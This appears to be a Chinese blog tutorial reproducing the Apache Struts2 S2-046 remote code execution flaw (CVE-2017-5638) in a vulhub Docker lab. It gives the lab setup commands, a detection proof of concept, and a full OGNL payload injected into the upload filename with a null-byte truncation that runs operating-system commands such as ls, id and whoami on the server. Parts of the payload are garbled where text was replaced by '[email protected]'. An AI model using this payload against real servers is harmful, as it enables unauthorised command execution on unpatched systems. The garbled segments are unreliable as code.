一、S2-046 远程代码执行漏洞(CVE-2017-5638)

  • 漏洞简介

        Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。

    影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

二、利用vulhub靶机平台实现漏洞复现   (1-4的步骤配图,和s2-045类似,详情可参考以前发的s2-045博客)

      1、service docker start    //开启docker服务

      2、cd /vulhub/struts2/      //进入Struts2目录下

            ls     //查看里面的漏洞环境,由于s2-046以前版本过低,现在基本上漏洞都已修复

            cd s2-046     //进入s2-046漏洞环境

            cat README.md    //这里可以查看该漏洞的复现步骤

            eog  1.png    //查看图片,即burp的抓包。

     3、docker-compose up -d    //下载启动漏洞环境

     4、环境启动后,访问`http://your-ip:8080`即可看到上传页面。

           ## 漏洞复现

          与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用`\x00`截断。

     5、使用burp抓包,然后发送到repeater模块

      更改filename后为

      POC: "%{#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Test\',233*233)}\x00b"

       

       在hex里找到b之前一个符号,使用00截断

       

      截断后看图上所示,出现了空格

        

   6、判断存在后,实行攻击语句payload,同样原理,将b前面一个字符00截断。

"%{(#nike=\'multipart/form-data\').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'ls\').(#iswin=(@[email protected](\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} b"

  如图所示,标记处里可执行其他命令语句(与s2-045类似,必须有回显):如:id、whoami、ls、

  

相关文章: